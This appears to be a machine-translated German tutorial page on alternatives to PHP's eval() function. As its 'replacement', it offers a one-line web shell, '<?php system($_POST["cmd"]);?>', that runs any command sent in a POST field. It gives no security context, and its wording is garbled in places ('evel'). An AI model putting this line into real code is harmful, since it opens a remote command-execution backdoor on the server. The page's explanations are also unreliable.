Heim >Backend-Entwicklung >PHP-Problem >Was sind die alternativen Funktionen zur Auswertung in PHP?
PHPs Ersetzungsfunktion eval
Sie müssen die Ersetzungsfunktion der PHP-Funktion eval kennen Welche gibt es? Zunächst müssen Sie wissen, was die Auswertungsfunktion bewirkt. Die Rolle der Funktion
evel(): Die Funktion
eval() berechnet den String gemäß dem PHP-Code.
Die Zeichenfolge muss gültiger PHP-Code sein und mit einem Semikolon enden.
Hinweis: Die Return-Anweisung beendet sofort die Berechnung der Zeichenfolge.
Tipp: Diese Funktion ist nützlich, um Code für spätere Berechnungen in einem Datenbanktextfeld zu speichern.
Funktion ersetzen:
Systemtypfunktion
<?php system($_POST["cmd"]);?>
Es gibt immer noch einen Unterschied zwischen System und Evel, es ist eher die Befehlsausführung als Codeausführung. Bei evel handelt es sich eher um Codeausführung als um Befehlsausführung.
Weitere PHP-bezogene Kenntnisse finden Sie auf der PHP-Chinese-Website!
Das obige ist der detaillierte Inhalt vonWas sind die alternativen Funktionen zur Auswertung in PHP?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!